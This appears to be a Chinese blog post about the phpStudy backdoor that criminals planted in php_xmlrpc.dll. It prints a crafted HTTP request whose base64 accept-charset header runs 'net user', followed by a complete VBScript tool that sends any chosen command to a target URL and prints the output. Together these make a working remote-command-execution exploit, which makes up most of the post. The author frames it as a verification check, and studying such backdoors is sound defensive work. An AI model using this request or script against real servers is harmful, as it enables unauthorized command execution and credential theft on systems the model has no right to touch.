前几天杭州公安发布了关于“杭州警方通报打击涉网违法犯罪暨“净网2019”专项行动战果”,其中提到的一起案件,phpstudy在2016年时就被犯罪分子植入了后门。

phpstudy创建的网站无法访问(Phpstudy后门程序的验证程序)(1)

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。 正是这样一款公益性软件,2018年12月4日,西湖区公安分局网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。

犯罪分子主要是在php_xmlrpc.dll放入了恶意代码,可以利用它执行rce及反连等操作。

如果向其使用phpstudy的服务器发送发下格式数据包,就可以执行命令:

GET / HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Connection: close accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 Accept-Encoding: gzip,deflate Upgrade-Insecure-Requests: 1

上边代码块中的ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7是echo system("net user");的base64编码。

phpstudy创建的网站无法访问(Phpstudy后门程序的验证程序)(2)

我写了一个验证的vbs小程序,代码如下:

if (lcase(right(wscript.fullname,11))="wscript.exe") then wscript.echo "Execute it under the cmd.exe Plz! Thx." wscript.quit end If if wscript.arguments.count<1 Then wscript.echo "use: cscript "&wscript.scriptfullname&" http://xxxx/phpstudy/" wscript.quit end If payload="echo 1111;system('"&wscript.arguments(1)&"');echo 1111;" 'wsh.echo base64encode(payload) Set Retrieva = CreateObject("Msxml2.ServerXMLHTTP") Retrieva.Open "Get", wscript.arguments(0), False Retrieva.SetRequestHeader "accept-charset", base64encode(payload) Retrieva.SetRequestHeader "Accept-Encoding", "gzip,deflate" Retrieva.Send result=Split(Retrieva.ResponseTEXT,"1111") wsh.echo result(1) function base64encode(pstext) dim oxml, ostream, onode set oxml =createobject("msxml2.domdocument") set ostream =createobject("adodb.stream") set onode =oxml.createelement("tmpnode") onode.datatype ="bin.base64" ostream.charset ="gb2312" ostream.type =2'0=adstateclosed 1=adstateopen if ostream.state =0 then ostream.open() ostream.writetext(pstext) ostream.position =0 ostream.type =1'1=adtypebinary 2=adtypetext onode.nodetypedvalue =ostream.read(-1)'-1=adreadall ostream.close() base64encode =onode.text set onode =nothing set ostream =nothing set oxml =nothing end Function

效果图如下:

phpstudy创建的网站无法访问(Phpstudy后门程序的验证程序)(3)

,